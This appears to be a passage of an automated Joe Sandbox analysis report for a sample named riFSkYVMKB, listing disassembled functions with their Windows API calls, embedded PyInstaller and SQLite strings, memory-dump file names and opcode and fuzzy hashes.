                                                                                                                                                                                                                                          Function 00007FF79D052A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF79D05351A,?,00000000,00007FF79D053F23), ref: 00007FF79D052AA0
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
                                                                                                                                                                                                                                          • API String ID: 2050909247-2900015858
                                                                                                                                                                                                                                          • Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
                                                                                                                                                                                                                                          • Instruction ID: 129a5385cf2b20b27c2a8c882e2b3fb368f0648710d42b02df9d2dc73e6c1250
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8821A132A1CB8192E630AB69B8407EAA394FB883C4F800132EECD47759EF7CD545C710
                                                                                                                                                                                                                                          Function 00007FF79D058760 Relevance: 10.6, APIs: 7, Instructions: 63COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 995526605-0
                                                                                                                                                                                                                                          • Opcode ID: 960e55689f8153c2b27b80b9ea7c16c7327bf886aabdd5ec5ebc892c06a11a30
                                                                                                                                                                                                                                          • Instruction ID: 719c8d6deb9d555851e9d600e419db10f41bac8bbeddeb28ac4ba1bc0c76c83e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 960e55689f8153c2b27b80b9ea7c16c7327bf886aabdd5ec5ebc892c06a11a30
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 57210335A0C64242EB60AB7AF45523AE7A0FF857A0F900235EEED47BE4EE6CD4458750
                                                                                                                                                                                                                                          Function 00007FF79D06B1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Value$ErrorLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2506987500-0
                                                                                                                                                                                                                                          • Opcode ID: 7a7efe5704aebd884d83a549bac9021180a30b6e3a5084d39c82c78793c2ea5e
                                                                                                                                                                                                                                          • Instruction ID: d72293cc5ad31887047d7fe3f24bb155502508b6b2b493451aa86cb9039d5df0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7a7efe5704aebd884d83a549bac9021180a30b6e3a5084d39c82c78793c2ea5e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E9212820B0DE4742FA787BF95A5113DD6829F447A0FD44734D9BE47ADAFE2DA4418320
                                                                                                                                                                                                                                          Function 00007FF79D077DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                                                                                                                                                                                                          • String ID: CONOUT$
                                                                                                                                                                                                                                          • API String ID: 3230265001-3130406586
                                                                                                                                                                                                                                          • Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
                                                                                                                                                                                                                                          • Instruction ID: da1e73becee3258189ec21c73491ded5a0da19637d5a525ad61c3dceccc9567e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9F119A31B1CA4186E360AB6AFC54339A7A0FB9CBE4F800234D99D8B7A4EF3DD4058750
                                                                                                                                                                                                                                          Function 00007FFD9416EDE0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 390COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: hidden$vtable constructor called recursively: %s$vtable constructor did not declare schema: %s$vtable constructor failed: %s
                                                                                                                                                                                                                                          • API String ID: 1436585979-1299490920
                                                                                                                                                                                                                                          • Opcode ID: fa3dc690295e3f608377f27ab0a4f558a20eccf051d3fb6e08adeb7d0f797da8
                                                                                                                                                                                                                                          • Instruction ID: 2c7acd36500f293753acce5f16637c2f634ed2cbe108161ee8ec82c798b17838
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: fa3dc690295e3f608377f27ab0a4f558a20eccf051d3fb6e08adeb7d0f797da8
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1002C223B09B8282EB608B95D5A437D77A1FB86BA4F048236EE5D17796DF3CE445C700
                                                                                                                                                                                                                                          Function 00007FF79D058560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF79D059216), ref: 00007FF79D058592
                                                                                                                                                                                                                                          • K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D0585E9
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D059400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF79D0545E4,00000000,00007FF79D051985), ref: 00007FF79D059439
                                                                                                                                                                                                                                          • K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D058678
                                                                                                                                                                                                                                          • K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D0586E4
                                                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D0586F5
                                                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?,?,00000000,00007FF79D059216), ref: 00007FF79D05870A
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3462794448-0
                                                                                                                                                                                                                                          • Opcode ID: af5051bae1bb50e3ccf69b50d5ac14561a54b739df452b641c0904f08e36c6c8
                                                                                                                                                                                                                                          • Instruction ID: 5b4d632b7fe01f569df41e4e44fd5d3cfad85ec2109fa31273e5d9b56aa4f39e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: af5051bae1bb50e3ccf69b50d5ac14561a54b739df452b641c0904f08e36c6c8
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4B419122B1D68681EA30AB3AA5456AAA394FB84BC4FC40135DFCD57B89FE3CD441C720
                                                                                                                                                                                                                                          Function 00007FFD940FC000 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 366COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
                                                                                                                                                                                                                                          • API String ID: 1436585979-3727861699
                                                                                                                                                                                                                                          • Opcode ID: eab345d482f7baabdec9e474e12e39428ea820bd0b391c33a24823f67c697a16
                                                                                                                                                                                                                                          • Instruction ID: c975f29fafdf4b49151354083ae810c2f6e7857a3e152f6fbf267dd9407bbfd7
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: eab345d482f7baabdec9e474e12e39428ea820bd0b391c33a24823f67c697a16
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6AF17D7270CB8186D7A0DB95E0A57AD77A0FB46B94F108036EE8E43796DF39E854D700
                                                                                                                                                                                                                                          Function 00007FFD94136680 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 338COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          • foreign key on %s should reference only one column of table %T, xrefs: 00007FFD94136705
                                                                                                                                                                                                                                          • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00007FFD9413672E
                                                                                                                                                                                                                                          • unknown column "%s" in foreign key definition, xrefs: 00007FFD94136A2E
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                                                                                                                                                                                                                                          • API String ID: 1436585979-272990098
                                                                                                                                                                                                                                          • Opcode ID: 92dd0ee7cd3e1cdafc56de997d58c6f6f428c161758f1bf7218e81256f987700
                                                                                                                                                                                                                                          • Instruction ID: 0c49721187fc3b8dd51043c381258e0bb855b6c9f3bc8112be730e55037399d0
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 92dd0ee7cd3e1cdafc56de997d58c6f6f428c161758f1bf7218e81256f987700
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0AD1CD63B09B8686EB388B9590B47B97BA1FB56BD8F548131DE5D23786DE3CE441C300
                                                                                                                                                                                                                                          Function 00007FF79D0590E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: GetCurrentProcess.KERNEL32 ref: 00007FF79D058780
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: OpenProcessToken.ADVAPI32 ref: 00007FF79D058793
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: GetTokenInformation.ADVAPI32 ref: 00007FF79D0587B8
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: GetLastError.KERNEL32 ref: 00007FF79D0587C2
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: GetTokenInformation.ADVAPI32 ref: 00007FF79D058802
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF79D05881E
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: CloseHandle.KERNEL32 ref: 00007FF79D058836
                                                                                                                                                                                                                                          • LocalFree.KERNEL32(?,00007FF79D053C55), ref: 00007FF79D05916C
                                                                                                                                                                                                                                          • LocalFree.KERNEL32(?,00007FF79D053C55), ref: 00007FF79D059175
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                                                                                                                                                                                                          • String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
                                                                                                                                                                                                                                          • API String ID: 6828938-1529539262
                                                                                                                                                                                                                                          • Opcode ID: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
                                                                                                                                                                                                                                          • Instruction ID: b422c1d5b785c12845e8272001efad2427b60f0550656d7785b6867185db0c34
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 36211C21A0CB4285E620BB76E9152FAA361FF88780FC44435EE8D57796EF3CD9458760
                                                                                                                                                                                                                                          Function 00007FFD940F55D0 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 314COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
                                                                                                                                                                                                                                          • API String ID: 1436585979-3727861699
                                                                                                                                                                                                                                          • Opcode ID: 5ce4de3094b3936009b68ce7b97789b60abce1f3b9da125a688e22a66712f262
                                                                                                                                                                                                                                          • Instruction ID: ad1f5896a0b7e7de20a71253db8c657f9006ccc94db8e2dc83de87764f33b6e3
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5ce4de3094b3936009b68ce7b97789b60abce1f3b9da125a688e22a66712f262
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: B6D1BF32B08A8586DB78CF95E0907A9B7A1FB85B84F558032DE4D47B96EF3CD841D740
                                                                                                                                                                                                                                          Function 00007FF79D06B338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B347
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B37D
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B3AA
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B3BB
                                                                                                                                                                                                                                          • FlsSetValue.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B3CC
                                                                                                                                                                                                                                          • SetLastError.KERNEL32(?,?,?,00007FF79D064F81,?,?,?,?,00007FF79D06A4FA,?,?,?,?,00007FF79D0671FF), ref: 00007FF79D06B3E7
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Value$ErrorLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2506987500-0
                                                                                                                                                                                                                                          • Opcode ID: 6c88e88182f069636ae7df0ba171e708af9cab9deaf2d86c464056bb8d47fe11
                                                                                                                                                                                                                                          • Instruction ID: 530a2cdf90fae8f8819549db0c2a2caeaed9df2dbfc42603fd718fc6717e895c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6c88e88182f069636ae7df0ba171e708af9cab9deaf2d86c464056bb8d47fe11
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6B116060B0CE5282FA74B7B95A9113DE5429F44BB0FD44734E9BE477DAFE2DA4018321
                                                                                                                                                                                                                                          Function 00007FFD940F1040 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 253COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
